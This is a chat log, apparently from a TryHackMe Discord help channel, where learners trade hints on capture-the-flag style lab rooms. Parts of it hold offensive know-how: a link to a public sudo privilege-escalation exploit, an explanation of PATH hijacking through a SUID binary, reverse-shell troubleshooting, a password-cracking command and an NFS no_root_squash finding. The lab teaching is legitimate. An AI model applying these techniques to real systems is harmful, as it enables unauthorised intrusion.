any tutorial u know of?

#

like where do i learn how to do that stuff

#

khalas nvm

#

ill search it

#

sorry for bothering u

#

have a goodday

#

ciao

junior wave Jan 4, 2022, 2:47 PM

#

crisp forum ciao

I had problems realizing what openvpn does as well, at the core when you start a room it will let you visit the IP on your active machine and do the task from there

#

And then you would use your own computer to do the task rather than open up an attack box each time

crisp forum Jan 4, 2022, 3:25 PM

#

junior wave I had problems realizing what openvpn does as well, at the core when you start a...

wdym by 'at the core'

junior wave Jan 4, 2022, 3:27 PM

#

Basically

crisp forum Jan 4, 2022, 3:28 PM

#

but i dont get it

junior wave Jan 4, 2022, 3:28 PM

#

Fundamentally

#

Essentially

crisp forum Jan 4, 2022, 3:28 PM

#

not that

#

hahahah

junior wave Jan 4, 2022, 3:29 PM

#

What don't you get about it?

crisp forum Jan 4, 2022, 3:29 PM

#

i have openvpn openned ok?

#

i imported th.ovpn file

#

and connected it

#

i started the machine on the website

#

then

#

it asked me to try linux commands on my end

#

and i cant access the terminal

#

and idk why

junior wave Jan 4, 2022, 3:30 PM

#

Oh for that you need your own virtual machine with a Linux system

#

Because it's a different operating system with different commands

white salmon Jan 4, 2022, 3:37 PM

#

How much RAM do you have?

terse gale Jan 4, 2022, 3:37 PM

#

Hey hey, I am currently doing Network Service 2 and Task 4 is not quite working for me. I get an error when doing ./bash -p

./bash: line 1: syntax error near unexpected token 'newline'

./bash: line 1: '<!DOCTYPE html>'

crisp forum Jan 4, 2022, 3:37 PM

#

white salmon How much RAM do you have?

4

white salmon Jan 4, 2022, 3:37 PM

#

terse gale Hey hey, I am currently doing `Network Service 2` and Task 4 is not quite workin...

You downloaded a website and not the file

crisp forum Jan 4, 2022, 3:37 PM

#

cant switch os

#

have to stay on windows

terse gale Jan 4, 2022, 3:38 PM

#

white salmon You downloaded a website and not the file

big oof... thanks

green minnowBOT Jan 4, 2022, 3:38 PM

#

Gave +1 Rep to @versed shadow

crisp forum Jan 4, 2022, 3:38 PM

#

already using so much ram

#

so its too low for a vm

#

as in here, i can do none of that, right?

#

since i cant deploy the linux machine

white salmon Jan 4, 2022, 3:45 PM

#

crisp forum as in here, i can do none of that, right?

Don't you have an AttackBox there?

crisp forum Jan 4, 2022, 3:46 PM

#

omg

#

you're right

#

im such an idiotttt

#

i just realised

#

i wasted so much time

#

thank u so much

terse gale Jan 4, 2022, 4:55 PM

#

another quick question. Doesn't the kali machine come with John the ripper?

white salmon Jan 4, 2022, 5:09 PM

#

terse gale another quick question. Doesn't the kali machine come with John the ripper?

The vm or the browser based Kali box?

terse gale Jan 4, 2022, 5:11 PM

#

white salmon The vm or the browser based Kali box?

the browser one

white salmon Jan 4, 2022, 5:13 PM

#

It should do, but I can't be certain as the kali one hasn't been updated in 2 years.

The attackbox has John though.

terse gale Jan 4, 2022, 5:13 PM

#

okay :) thanks, will use that one from now on!

undone quail Jan 4, 2022, 6:09 PM

#

I'm in the Phishing Emails 1 room on the last task before the conclusion and can't for the life of me figure out what they want for "What trusted entity is this email masquerading as?". I know I'm thinking too hard -- any hints? It's making me crazeee

alpine kestrel Jan 4, 2022, 6:11 PM

#

undone quail I'm in the Phishing Emails 1 room on the last task before the conclusion and can...

like for example the email trys to make it seem it comes from Amazon

#

when it is really coming from somewhere else

undone quail Jan 4, 2022, 6:17 PM

#

Hmm I see what it looks like to me but it doesn't fit the answer spaces/asterisks. I'll keep fiddling with it...

undone quail Jan 4, 2022, 7:51 PM

#

I suppose I am blind, I still don't see what it could be. The answer space isn't laid out like a domain -- it's two words and it makes zero sense to me with what I see in the email3.eml file. Any help is appreciated, thanks.

worn token Jan 4, 2022, 8:07 PM

#

@undone quail which section in the email3.eml do you think should be containing the answer to this question?

undone quail Jan 4, 2022, 8:08 PM

#

worn token <@636632780880609293> which section in the email3.eml do you think should be con...

I would imagine in the header somewhere but I've looked through the whole thing and unless it's encoded somewhere, I just don't see it...

worn token Jan 4, 2022, 8:08 PM

#

it is encoded.

oblique plank Jan 4, 2022, 8:09 PM

#

You could also open the email in Thunderbird?

undone quail Jan 4, 2022, 8:09 PM

#

Alrighty I'll try to decode everything haha

worn token Jan 4, 2022, 8:09 PM

#

try looking in a section that tells you about the email sender ;)

undone quail Jan 4, 2022, 8:11 PM

#

Ah man I opened it with Thunderbird and it was right in my face. Thanks affinity!!

#

Thanks Sarthak I got it!

tribal burrow Jan 5, 2022, 11:57 AM

#

Hello there after connecting to an ssh server I arrived directly on an irb prompt and I have to leave it, but if I do CTRL-D or if I type exit it takes me out of the ssh server, any tips on this ?

left thunder Jan 5, 2022, 12:17 PM

#

tribal burrow Hello there after connecting to an ssh server I arrived directly on an irb promp...

You should add the room and the task you are doing.

rain river Jan 5, 2022, 2:05 PM

#

Hello, I'm currently going throw the Network Services Room and hanging at Task 4, the last question. I am not able to log in only via the RSA-Key. It also requests a password. Can someone help me logging in ? The password is not just empty.

left thunder Jan 5, 2022, 2:10 PM

#

rain river Hello, I'm currently going throw the Network Services Room and hanging at Task 4...

If you are sure that you specified the id_rsa in your ssh command correctly, you have to use the correct username to ssh with, if you are using the wrong username it's asking for a password.

rain river Jan 5, 2022, 2:12 PM

#

How do I specify the id_rsa in my ssh command ? It did it just like in the writeup

left thunder Jan 5, 2022, 2:12 PM

#

rain river How do I specify the id_rsa in my ssh command ? It did it just like in the write...

Let me know what's the full command you used and I'll tell you if it's the right way

rain river Jan 5, 2022, 2:13 PM

#

ssh cactus@10.10.144.69

left thunder Jan 5, 2022, 2:15 PM

#

rain river ssh cactus@10.10.144.69

Ok, then you are not specifying the key file in your command. To do that you have to use -i id_rsa in your command, if the id_rsa is in the same directory where you run the command from

#

If the id_rsa is not in the same directory you have to specify the path to the file like -i /home/tryhackme/id_rsa for example

rain river Jan 5, 2022, 2:16 PM

#

Ahh, nice. It worked now. Was a bit confused because it's not mentioned in the Writeup. Thank you so much !

fair flame Jan 5, 2022, 4:33 PM

#

Hello, I have an issue in the room "fun with functional" I m stuck when I upload the file in haskell but then i searched but i don't know where to look or what to do does anyone have a tips for me ?

wheat helm Jan 5, 2022, 7:23 PM

#

@fair flame Can you link the room?

#

Also please verify so you can share a screen shot where you're stuck.

#

!docs verify

proud scarabBOT Jan 5, 2022, 7:23 PM

#

TryHackMe

Verify your TryHackMe Profile!

https://help.tryhackme.com/community/discord

twilit apex Jan 5, 2022, 7:30 PM

#

Can anyone help me with the third Flag from this room: https://tryhackme.com/room/fileinc

fair flame Jan 5, 2022, 7:44 PM

#

wheat helm <@!228198472682045440> Can you link the room?

https://tryhackme.com/room/funwithfunctional this is the room

TryHackMe

TryHackMe | Cyber Security Training

TryHackMe is a free online platform for learning cyber security, using hands-on exercises and labs, all through your browser!

wheat helm Jan 5, 2022, 8:57 PM

#

@fair flame It's showing the room as private on my end

fair flame Jan 5, 2022, 9:07 PM

#

@wheat helm oh no its from my school if you can’t reach it I m kaput… anyway thank you for trying

green minnowBOT Jan 5, 2022, 9:07 PM

#

Gave +1 Rep to @wheat helm

proud solstice Jan 5, 2022, 11:21 PM

#

Hi everyone. I'm completely stuck on the room 'Internal'. I'm still quite a beginner but I've exhausted pretty much every idea I've had (which aren't many). I have access to the system as www-data in a simple php reverse shell. But I have no idea how I could escalate. Could somebody give me a hint as to where I'm supposed to look?

#

The room in question:
https://tryhackme.com/room/internal

TryHackMe

TryHackMe | Internal

Penetration Testing Challenge

#

I've been spitting through the output of linpeas.sh. And so far I've found two vulns that looked promising:
https://www.exploit-db.com/exploits/47166, which I can't get to work because the exploit needs gcc which isn't installed on the system
https://www.exploit-db.com/exploits/49521, No idea what I'm doing wrong with this one

mild eagle Jan 6, 2022, 12:09 AM

#

proud solstice The room in question: https://tryhackme.com/room/internal

never did this room, but u could try this https://github.com/worawit/CVE-2021-3156

proud solstice Jan 6, 2022, 12:11 AM

#

Thanks for the tip! I'll check it out

proud solstice Jan 6, 2022, 12:18 AM

#

mild eagle never did this room, but u could try this https://github.com/worawit/CVE-2021-31...

Omg this worked like a charm. Problem is. Once you get the escalated shell, you don't get a prompt. So I've been waiting for that script to finish for a bit now. While in fact is was already finished lmao

mild eagle Jan 6, 2022, 12:21 AM

#

prompt is #

proud solstice Jan 6, 2022, 12:25 AM

#

Ye, there wasn't anything

ruby path Jan 6, 2022, 10:39 AM

#

Hello, question about the Nessus room, task 5

#

which VM do they mean you have to scan?

#

do you have to start the machine from task 4 again?

terse gale Jan 6, 2022, 11:48 AM

#

I am currently doing the final task on Upload Vulnerabilities
I got the shell uploaded and tried to execute it via the admin page. The page loads for a while and then states the module was not found. I have nc running and configured the shell correctly I think. Anything I might have missed?

keen mason Jan 6, 2022, 1:34 PM

#

I am in Network services and stuck on Task 4 -
Great! Have a look around for any interesting documents that could contain valuable information. Who can we assume this profile folder belongs to?

hollow wolf Jan 6, 2022, 1:40 PM

#

Is there someone who can help me with cybercrafted? I found the ssh private key, cracked it but still can't log into ssh?

white salmon Jan 6, 2022, 2:06 PM

#

keen mason I am in Network services and stuck on Task 4 - Great! Have a look around for an...

Got it?

keen mason Jan 6, 2022, 2:06 PM

#

nope

white salmon Jan 6, 2022, 2:08 PM

#

keen mason nope

Hint: Then "get" it
Spoiler: ||Download the .txt file you found and "cat" it||

keen mason Jan 6, 2022, 2:13 PM

#

@white salmon thanks will give that a go when I get back there - my machine ran out of time for now - I try cat on it but had not downloaded first

green minnowBOT Jan 6, 2022, 2:13 PM

#

Gave +1 Rep to @versed shadow

wise pine Jan 6, 2022, 11:03 PM

#

proud solstice Omg this worked like a charm. Problem is. Once you get the escalated shell, you ...

God I just finished the room the exact same way, somehow it feels that this is not the expected way of solving the room tho...

proud solstice Jan 6, 2022, 11:41 PM

#

I thought so too, but it worked none the less. I still learned a lot about enumeration so I think it was worth :D

keen lintel Jan 7, 2022, 5:45 AM

#

One thing important for the room Cross-site Scripting is that you must be login first to solve the question or it won't give you flag.

red sluice Jan 7, 2022, 6:02 AM

#

Anyone available to assist with easy room "Easy Peasy"?

#

Kinda stuck here: What is the password to login to the machine via SSH?
||I found the image and cracked the Gost hash. However, when I use Steghide and try to extract the content of the picture, the passphrase isnt working.||

#

I figured it out. I downloaded the wrong picture from the page. There are two pictures and I needed to use the one called ||binarycodepixabay.jpg||

left thunder Jan 7, 2022, 2:15 PM

#

Are you on the attackbox or your own machine ?

#

Can you open 10.10.10.10 in your machines browser ?

#

If you check ip a s do you only see a tun0 interface or any extra like tun1, tun2 etc ?

#

Did you ever receive a rev shell on your machine ?

#

I mean, maybe you always used the attackbox and that's the first time you use your local machine as attacking machine and therefore never catched a rev shell on your local machine previously ?

#

Mh, maybe check your uploaded rev shell IP and port if they match your tun0 IP and listening port

#

Also you could check sudo ufw status if there might be a firewall active

glad briar Jan 7, 2022, 2:42 PM

#

Hello guys, i'm looking for a hint about the Willow machine: i've enumerated the NFS shares retrieving the only available file but i'm honestly stuck..

#

https://tryhackme.com/room/willow

TryHackMe

TryHackMe | Willow

What lies under the Willow Tree?

green urchin Jan 7, 2022, 6:40 PM

#

i cant verify

white salmon Jan 7, 2022, 7:23 PM

#

What does it mean when I can't ssh to a machine when it has open ssh port. It displays me error "Permission denided (publickey)"

proud solstice Jan 7, 2022, 11:39 PM

#

Hey could I get a hint for the room Overpass3. I've found the backup, gotten the information from the spreadsheet and I've been able to log into ftp with paradox's account. I have no idea where to go from here, can't find any way to actually gain access to the machine.
https://tryhackme.com/room/overpass3hosting

TryHackMe

TryHackMe | Overpass 3 - Hosting

You know them, you love them, your favourite group of broke computer science students have another business venture! Show them that they probably should hire someone for security...

ripe hedge Jan 8, 2022, 12:50 PM

#

You can do many things with ftp

ripe hedge Jan 8, 2022, 12:51 PM

#

proud solstice Hey could I get a hint for the room Overpass3. I've found the backup, gotten the...

Maybe try to figure out where the FTP folder is

high quartz Jan 8, 2022, 1:53 PM

#

Hello all! I feel as though I've lost my mind on a problem that shouldn't be that hard - "Authentication Bypass" module has a section for "Brute Force" in which I am required to use:

#

ffuf tool

#

I've typed the command in the terminal a few different times in order to get the valid username/password and no luck so far

#

I've checked, rechecked syntax and not getting results, nor am I understanding what I should do different

#

any help would be greatly appreciated

left thunder Jan 8, 2022, 2:02 PM

#

high quartz any help would be greatly appreciated

So you got the valid usernames already right?

#

In case you do, check that valid usernames file, it should only contain the usernames, 1 per line and no status codes, size or similar.

proud solstice Jan 8, 2022, 3:31 PM

#

ripe hedge Maybe try to figure out where the FTP folder is

Thanks for the tip! I was able to get a revshell using php, should've been a bit more obvious for me haha. But I got stuck again after getting access to paradox's account. So I looked up a writeup (multiple actually), and it seems I overestimated my skills. This room was a bit too hard for me, so I've left it at that and I'm going to continue doing some easier ones. I did learn a lot though so it wasn't in vain 😄

green minnowBOT Jan 8, 2022, 3:31 PM

#

Gave +1 Rep to @ripe hedge

proud solstice Jan 8, 2022, 3:32 PM

#

I was able to spot the NFS exploit without a writeup though (with linpeas.sh) so I'm kinda happy about that, but I don't know much about active directory yet. So I'm going to focus on that now.

stuck fractal Jan 8, 2022, 3:38 PM

#

proud solstice I was able to spot the NFS exploit without a writeup though (with linpeas.sh) so...

Curious, what suggested Active Directory there? There wasn't any in that box

proud solstice Jan 8, 2022, 3:40 PM

#

Well, linpeas.sh gave this in it's output:

-rw-r--r--. 1 root root 54 Nov 18  2020 /etc/exports
/home/james *(rw,fsid=0,sync,no_root_squash,insecure)```

It's also very possible I'm confused as to what NFS and active directories are. But that's what I thought

#

Oh shit you're the guy from Overpass that keeps forgetting his password 😄

#

Excellent rooms, I've learned alot from them already

stuck fractal Jan 8, 2022, 5:26 PM

#

proud solstice Well, linpeas.sh gave this in it's output: ```╔══════════╣ Analyzing NFS Exports...

Yeah it's not Active Directory related

#

Active Directory is a lot of SMB, no NFS

proud solstice Jan 8, 2022, 5:28 PM

#

Aaaah my bad, sorry

white salmon Jan 8, 2022, 9:05 PM

#

Room hint for Pickle Rick, do I need to bypass/exploit login on http://[MACHINE_IP/login.php]

white salmon Jan 8, 2022, 9:35 PM

#

white salmon Room hint for Pickle Rick, do I need to bypass/exploit login on http://[MACHINE_...

You need to log in.

mental pine Jan 8, 2022, 11:07 PM

#

The box "PATH" in this room uses a compiled program called "test" that comes already on the box and doesn't say anything about the creation or a download link. In fact it's preset to run a file named "thm" that they want user to create. In order for this to be a viable method of privEsc, I was wondering if anyone knew more about where this program came from (like a site gtfobins) or does it just have to be coded as a "as needed". https://tryhackme.com/room/linprivesc#

TryHackMe

TryHackMe | Linux PrivEsc

Learn the fundamentals of Linux privilege escalation. From enumeration to exploitation, get hands-on with over 8 different privilege escalation techniques.

#

I scp'd the file but I'm wondering if I'd actually be able to use it or not. To be 100% honest I struggled comprehending this room.. I think I got the overall gyst of things. but not sure why this program was needed..

white salmon Jan 8, 2022, 11:10 PM

#

mental pine The box "PATH" in this room uses a compiled program called "test" that comes al...

Its purpose is to demonstrate a path exploit. You need a program that runs as root in order to exploit the path.

mental pine Jan 8, 2022, 11:10 PM

#

so in a real scenerio i would look for a suid binary such as base64 or something ??

white salmon Jan 8, 2022, 11:10 PM

#

In a more realistic scenario, you would look for a file that has those permissions.

#

Exactly.

mental pine Jan 8, 2022, 11:11 PM

#

ok.. makes sense.. but why wouldnt i just exploit that instead of going through all the mess of adding a $PATH variable?

white salmon Jan 8, 2022, 11:12 PM

#

If you want to learn more about path exploit, there is great room for that. It's a walkthrough room. Very well documented.

#

https://tryhackme.com/room/dejavu

TryHackMe

TryHackMe | Deja Vu

Exploit a recent code injection vulnerability to take over a website full of cute dog pictures!

mental pine Jan 8, 2022, 11:12 PM

#

cool.. Ill check it.. Thanks

white salmon Jan 8, 2022, 11:14 PM

#

mental pine ok.. makes sense.. but why wouldnt i just exploit that instead of going thro...

Not every SUID is exploitable by itself. But that SUID might run a different program without specifying its path.

#

So you can create a fake program with an identical name that runs a shell, and since the SUID is going to run that fake program as root, you get a root shell.

#

But whatever I am going to tell you here, is worthless compared to that room I suggested to you :)

#

#general message :))

mental pine Jan 8, 2022, 11:16 PM

#

lol.. well i already now understand the point of that binary thanks to you so the room must be SWEET!! lol

#

.. Thanks again

mental pine Jan 8, 2022, 11:18 PM

#

white salmon Not every SUID is exploitable by itself. But that SUID might run a different pro...

Thank you

green minnowBOT Jan 8, 2022, 11:18 PM

#

Gave +1 Rep to @versed shadow

earnest tiger Jan 9, 2022, 2:16 PM

#

does anyone know how to properly pull a hash from rubeus into hashcat? I feel like an idiot because I can't get hashcat to recognize the hash and I know it's an issue with formatting. What's the best practice for this?

terse gale Jan 9, 2022, 3:15 PM

#

I keep getting this issue... doing Basic Pentesting and got the first user and their password. I established an ssh connection and put linpeas on it via scp. But when running it, it does not seem to continue. I just get this... any idea why?

stoic sapphire Jan 9, 2022, 3:53 PM

#

Report #room-bugs

#

or your connections has some bugs

terse gale Jan 9, 2022, 4:40 PM

#

how would I verify against connection issues? I have this problems across several rooms

icy hedge Jan 9, 2022, 5:04 PM

#

Can I share a screen shot of a problem I have in linux fundementals 3 beginners
I started a http server but it is just idle
nothin is happening

#

I cant type anything either

#

I was supposed to download it using wget

junior wave Jan 9, 2022, 5:08 PM

#

icy hedge Can I share a screen shot of a problem I have in linux fundementals 3 beginners ...

!docs verify if you still want to send that screen shot

proud scarabBOT Jan 9, 2022, 5:08 PM

#

TryHackMe

That topic does not exist!

Use !docs to list all of the available topics.

junior wave Jan 9, 2022, 5:09 PM

#

!docs verify

proud scarabBOT Jan 9, 2022, 5:09 PM

#

TryHackMe

Verify your TryHackMe Profile!

https://help.tryhackme.com/community/discord

rocky wyvern Jan 9, 2022, 5:11 PM

#

icy hedge Can I share a screen shot of a problem I have in linux fundementals 3 beginners ...

After you deploy the python3 server show a print screen of it. After you deploy it you need to open a new terminal and use wget.
I don't know if you can use the wget in the same terminal that you started the python3 server, at least this is how i did it, i got stuck there also...

candid token Jan 9, 2022, 6:02 PM

#

rocky wyvern After you deploy the python3 server show a print screen of it. After you deploy ...

you need new instance, on one window you run http.server on other you download the file

rocky wyvern Jan 9, 2022, 6:08 PM

#

candid token you need new instance, on one window you run http.server on other you download t...

Or you could open the python server in the background, thought of it after i wrote the message.

compact surge Jan 9, 2022, 8:35 PM

#

Hey. I have weird problem with "Attacking Kerberos" room. One of the questions is:
What two services make up KDC?"
and the answer format is **,***

#

however, ||AS,TGS|| seems not to be the right answer

alpine kestrel Jan 9, 2022, 9:03 PM

#

compact surge Hey. I have weird problem with "Attacking Kerberos" room. One of the questions i...

what do you think the probability is that it is case sensetive in the answers section????

compact surge Jan 9, 2022, 9:05 PM

#

I think I don't get your point. I've tried providing in capitals and in lowercase, also in a mix of both

#

do I really need to brute force it? 😄

junior wave Jan 9, 2022, 9:05 PM

#

Maybe have the first letter capitalized in each one?

compact surge Jan 9, 2022, 9:06 PM

#

@junior wave - nope

#

tried that too

junior wave Jan 9, 2022, 9:08 PM

#

compact surge tried that too

|| AS, TGS || doesn't work?

compact surge Jan 9, 2022, 9:09 PM

#

oh damn

junior wave Jan 9, 2022, 9:09 PM

#

Maybe are a space after the second word

compact surge Jan 9, 2022, 9:09 PM

#

I didn't notice that f*cking space -.-

#

thanks @junior wave and sorry for bothering you guys

green minnowBOT Jan 9, 2022, 9:09 PM

#

Gave +1 Rep to @junior wave

compact surge Jan 9, 2022, 9:10 PM

#

ok, probably that was a sign to get rest

alpine kestrel Jan 9, 2022, 9:16 PM

#

ah yeah shadow missed that the space was missing too

compact surge Jan 9, 2022, 9:32 PM

#

😉

pulsar stream Jan 10, 2022, 12:44 AM

#

New to this stuff...will keep it short. Working on Network Services Enumerating Telnet. When I do a nmap scan (nmap [IP]) I'm seeing ports opened between 1-1000 and apparently I'm not supposed to in this room. It's the one where telnet is assigned to non-standard 8012. When am I doing wrong? I've used different switches but open ports are open ports.

22 open ssh
80 open http
111 open rpcbind
and 3 more

umbral umbra Jan 10, 2022, 12:46 AM

#

What's the nmap command you ran?

pulsar stream Jan 10, 2022, 1:05 AM

#

umbral umbra What's the nmap command you ran?

I've used:
Per directions started with: nmap -A -p- [IP]
Tried:: nmap [IP}
Did some looking and found out the port is (non-standard telnet 8012), went back to try: nmap -p 8000-8050 [IP] and didn't show that port.

I've tried resetting the attackbox also thinking something might be wrong but I get the same results. From what I see I'm showing ports open that shouldn't be and can't find the one that should be.

I've moved on to the FTP portion of that room and oddly enough I don't show FTP port 21 open either. Can't complete the room without these working. Not sure what I'm missing here. 😕

junior wave Jan 10, 2022, 1:28 AM

#

pulsar stream I've used: Per directions started with: nmap -A -p- [IP] Tried:: nmap [IP...

Try ||--top-ports|| command/flag

pulsar stream Jan 10, 2022, 2:14 AM

#

junior wave Try ||--top-ports|| command/flag

I think I figured it out. Looks like I have to close and open the Attachbox in each section (SMB, Telnet, FTP) in the Network Services room. I thought I could just use the same machine. It's working now. Thanks!

green minnowBOT Jan 10, 2022, 2:14 AM

#

Gave +1 Rep to @junior wave

junior wave Jan 10, 2022, 2:28 AM

#

pulsar stream I think I figured it out. Looks like I have to close and open the Attachbox in ...

Yes you'll have to use the machine for the specific task, good job on figuring it out yourself

umbral umbra Jan 10, 2022, 3:04 AM

#

pulsar stream I think I figured it out. Looks like I have to close and open the Attachbox in ...

There is a difference between the AttackBox and the VMs used in those tasks - the AttackBox is the VM provided by THM to be your launching point for on-network activities; that's not the same thing as the target machine that you need to spawn to complete certain tasks

junior wave Jan 10, 2022, 3:36 AM

#

umbral umbra There is a difference between the AttackBox and the VMs used in those tasks - th...

Congrats on mod!

dusky timber Jan 10, 2022, 1:34 PM

#

upload vulnerabilities room can t access site

white salmon Jan 10, 2022, 1:45 PM

#

Hey ! small hint on how to get in influx database in sweettooth inc ?

ripe hedge Jan 10, 2022, 2:02 PM

#

try looking for CVEs

white salmon Jan 10, 2022, 2:12 PM

#

Yop, got it, mybad 😉

proven pier Jan 10, 2022, 2:45 PM

#

Hello i was doing the john the ripper room and i was a bit confused for the question in TASK4,question 3 where it asks the question "what is the value of the cracked hash"

#

I cant send a photo but i typed

"john --format=raw-md5 --wordlist=/usr/share/wordlists/rockyou.txt hash1.txt"

the directory im running the command is /home/mrblue/Desktop/first_task_hashes

#

What is i get is

Usinh deffault input encoding: UTF-8
Loaded 1 password hash (Raw-MD5 [MD5 256/256 AVX2 8x3])
No password hashes left to crack (see FAQ)

#

SORRY FOR THE SPAM

stuck fractal Jan 10, 2022, 3:35 PM

#

dusky timber upload vulnerabilities room can t access site

This is very vague. You're more likely to get help if you provide detail about the problem.
#room-help message Here's a list of good questions to answer when you want help.

ripe sluice Jan 10, 2022, 3:44 PM

#

Can someone Help with this I am on What is Networking? and the question is What is each section of an IP address called? and i am a bit stuck on it.

rocky wyvern Jan 10, 2022, 3:49 PM

#

ripe sluice Can someone Help with this I am on What is Networking? and the question is What ...

Are you sure you didn't find the answer in the task? 😄

#

I suggest you take another look at it, but if you really want i can give you the direct answer, your choice

ripe sluice Jan 10, 2022, 3:52 PM

#

Please tell me i just cant find it.

rocky wyvern Jan 10, 2022, 3:53 PM

#

ripe sluice Please tell me i just cant find it.

||"An IP address is a set of numbers that are divided into four octets".
The answer is octet, it's right below the explanation for the IP Addresses||

ripe sluice Jan 10, 2022, 3:54 PM

#

Oh thank you!

rocky wyvern Jan 10, 2022, 3:54 PM

#

welcome

solar kestrel Jan 10, 2022, 4:07 PM

#

Hi, am on Network Room 2 on MySQL exploit. Confused on cracking the final flag. Any hints to get it

ripe sluice Jan 10, 2022, 4:22 PM

#

Can i get a hint about this one its Intro To LAN and the question is What is the verb given to the job that Routers perform?

tranquil parcel Jan 10, 2022, 4:38 PM

#

ripe sluice Can i get a hint about this one its Intro To LAN and the question is What is the...

Read the text below "What is a Router?"

ripe sluice Jan 10, 2022, 4:39 PM

#

oh oaky thanks

proven pier Jan 10, 2022, 4:45 PM

#

Forget about my quedtion i got it

iron wigeon Jan 10, 2022, 4:48 PM

#

solar kestrel Hi, am on Network Room 2 on MySQL exploit. Confused on cracking the final flag. ...

||search for mysql_hashdump||
||set options that need||
||use john the ripper to crack hash||
||ssh||

solar kestrel Jan 10, 2022, 4:50 PM

#

iron wigeon ||search for mysql_hashdump|| ||set options that need|| ||use john the ripper t...

Got non related user name and cracked that user password but got confused where to look for MySql.txt

#

Tried runing module MySQL_Hashdumb with the new user credentials set and run it again but not getting anything

iron wigeon Jan 10, 2022, 4:53 PM

#

solar kestrel Got non related user name and cracked that user password but got confused where ...

try to use find command

#

to find MySQL

#

focus on your first path in when ssh

solar kestrel Jan 10, 2022, 4:57 PM

#

Ok thanks

static bay Jan 10, 2022, 5:44 PM

#

Looking for a nudge on 'VulnNet Internal' room. Captured first flag, not sure where to go for the 2nd.

forest owl Jan 10, 2022, 8:15 PM

#

i was doing unqoted service path in windows priv esec room

#

and whenever i place the common.exe file in the folder the defender removes it

#

need help

abstract bear Jan 10, 2022, 11:24 PM

#

Hi! I did the room https://tryhackme.com/room/linprivesc task 9. is there anyway to know that the cron working or not? because i cannot get my simple reverse shell to be fired up

TryHackMe

TryHackMe | Linux PrivEsc

Learn the fundamentals of Linux privilege escalation. From enumeration to exploitation, get hands-on with over 8 different privilege escalation techniques.

left thunder Jan 10, 2022, 11:27 PM

#

abstract bear Hi! I did the room https://tryhackme.com/room/linprivesc task 9. is there anywa...

Check the permissions of the file you want cron to execute

abstract bear Jan 10, 2022, 11:29 PM

#

left thunder Check the permissions of the file you want cron to execute

it is -rw-r--r-- 1 karen karen 148 Jan 10 23:14 backup.sh

left thunder Jan 10, 2022, 11:30 PM

#

abstract bear it is -rw-r--r-- 1 karen karen 148 Jan 10 23:14 backup.sh

Right, so I guess you see the issue ?

abstract bear Jan 10, 2022, 11:30 PM

#

left thunder Right, so I guess you see the issue ?

i see. hahahaha

#

thanks @left thunder

green minnowBOT Jan 10, 2022, 11:30 PM

#

Gave +1 Rep to @left thunder

abstract bear Jan 10, 2022, 11:32 PM

#

work!!!

serene wing Jan 11, 2022, 2:55 AM

#

I'm doing the metasploit room, and the exploit its having you do isn't creating a session

#

ahh, it seems to be giving bad order of instructions

#

I got it to work

dark hornet Jan 11, 2022, 10:19 AM

#

hi guy! I need help for the last question for this room. https://tryhackme.com/room/contiransomwarehgh. I 'am looking missing someting in the resserch or the answer form. Any Help?

TryHackMe

TryHackMe | undefined

TryHackMe is a free online platform for learning cyber security, using hands-on exercises and labs, all through your browser!

versed leaf Jan 11, 2022, 5:45 PM

#

Not sure what exactly the site is asking for in the new Red Team Threat Intel room. I've completed the room, but want to get the right answers for that site.

versed leaf Jan 11, 2022, 6:00 PM

#

dark hornet hi guy! I need help for the last question for this room. https://tryhackme.com/r...

Check ||https://cybersecurityworks.com/blog/ransomware/is-conti-ransomware-on-a-roll.html||, from the #929077422601670726 room.

runic marsh Jan 11, 2022, 7:08 PM

#

versed leaf Not sure what exactly the site is asking for in the new Red Team Threat Intel ro...

same like theres a huge amount of variation that could go into those correct answers so only knowing if its all or none is kind of rough

versed leaf Jan 11, 2022, 7:12 PM

#

Guess we could ask @solemn smelt directly.

#

The task implied that you would need to get the flag to answer the question, but the question doesn't actually prompt for input. Otherwise I'd still be banging my head against the kill chain.

grave warren Jan 11, 2022, 7:21 PM

#

Hi there I have used SMB client to login as anonymous but I am having trouble accessing the text document, what am I doing wrong?

#

tried posting a Screenshot but I can

#

using command get Working From Home Information.txt

left thunder Jan 11, 2022, 7:22 PM

#

grave warren Hi there I have used SMB client to login as anonymous but I am having trouble ac...

You have to verify your thm profile in discord first in order to send screenshots

#

!docs verify

proud scarabBOT Jan 11, 2022, 7:22 PM

#

TryHackMe

Verify your TryHackMe Profile!

https://help.tryhackme.com/community/discord

left thunder Jan 11, 2022, 7:23 PM

#

grave warren using command get Working From Home Information.txt

But you have to find a way to get around the spaces in the file name. Maybe that's leading you towards it: https://stackoverflow.com/questions/12902227/how-to-input-a-path-with-a-white-space/12902280

Stack Overflow

How to input a path with a white space?

I have a main file which uses(from the main I do a source) a properties file with variables pointing to paths.

The properties file looks like this:

TMP_PATH=/$COMPANY/someProject/tmp
OUTPUT_PATH=/$

grave warren Jan 11, 2022, 7:24 PM

#

so even if it is autocompleting the name of the item it still doesnt work?

left thunder Jan 11, 2022, 7:25 PM

#

grave warren so even if it is autocompleting the name of the item it still doesnt work?

If it's not auto completing it the way it needs to be to get around the spaces, then no.

grave warren Jan 11, 2022, 7:27 PM

#

thank you @left thunder I appreciate the nudge

green minnowBOT Jan 11, 2022, 7:27 PM

#

Gave +1 Rep to @left thunder

hoary sonnet Jan 11, 2022, 7:30 PM

#

i don't understand this question

#

its in nessus thm room

#

What Apache HTTP Server Version is reported by Nessus?

#

task 4 question 3

gusty kite Jan 11, 2022, 7:41 PM

#

ok task 7 in the new red team thread intel room is really badly made. It is just a lot af trial and error 😕

versed leaf Jan 11, 2022, 7:44 PM

#

gusty kite ok task 7 in the new red team thread intel room is really badly made. It is just...

The static site doesn't give a lot of direction, but the questions that actually need answering are pretty straight-forward with the provided MITRE link.

gusty kite Jan 11, 2022, 7:44 PM

#

yes its just the static site thing

versed leaf Jan 11, 2022, 7:44 PM

#

The LOLBAS question did take a bit more digging, but the rest weren't too hard to find.

gusty kite Jan 11, 2022, 7:44 PM

#

rest are easy

versed leaf Jan 11, 2022, 7:45 PM

#

Oh I just noticed he updated the question to actually require an answer.

#

When I did the room it was an auto-complete question

#

oof

gusty kite Jan 11, 2022, 7:47 PM

#

great 🙂

#

still havent been able to find the ttp for the "exploitation" in the static site.

north hearth Jan 11, 2022, 7:49 PM

#

I'm in the new Red Team Threat Intel room but don't see how the LM Cyber Kill Chain is being mapped to the MITRE ATT&CK framework/Navigator. I'm stuck like you @gusty kite

icy sleet Jan 11, 2022, 7:50 PM

#

